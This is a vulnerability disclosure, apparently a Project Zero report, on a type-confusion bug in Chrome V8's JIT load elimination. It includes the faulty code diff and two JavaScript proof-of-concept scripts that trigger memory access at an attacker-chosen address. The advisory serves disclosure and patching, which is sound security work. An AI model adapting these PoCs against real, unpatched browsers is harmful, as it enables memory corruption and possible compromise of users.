Chrome V8 JIT LoadElimination::ReduceTransitionElementsKind Bug

Chrome V8 JIT has a bug in LoadElimination::ReduceTransitionElementsKind.


MD5 | 29850b01c4442ac8e9f2a4fed323efe8

Chrome: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind 




I think this commit has introduced the bug: <a href="https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b" title="" class="" rel="nofollow">https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b</a>

Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
...
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
- state = state->AddMaps(object, object_maps, zone());
+ state = state->SetMaps(object, object_maps, zone());
}
...
}

I think the "state->KillMaps(alias_info, zone());" accidentally was removed. This lack may lead CheckMap instructions to be removed incorrectly.

A PoC demonstrating type confusion:
function opt(a, b) {
b[0] = 0;

a.length;

// TransitionElementsKind
for (let i = 0; i < 1; i++)
a[0] = 0;

// CheckMap removed, type confusion
b[0] = 9.431092e-317; // 0x1234567
}

let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);

let arr2 = [0.1];
opt(arr2, arr2);

%OptimizeFunctionOnNextCall(opt);

opt(arr2, arr2);
arr2[0].x // access 0x1234566

Without natives syntax:
function opt(a, b) {
b[0] = 0;

a.length;

// TransitionElementsKind
for (let i = 0; i < 1; i++)
a[0] = 0;

b[0] = 9.431092e-317; // 0x1234567

// Force optimization
for (let i = 0; i < 10000000; i++) {

}
}

let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);

let arr2 = [0.1];
opt(arr2, arr2);

opt(arr2, arr2);
arr2[0].x // access 0x1234566


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


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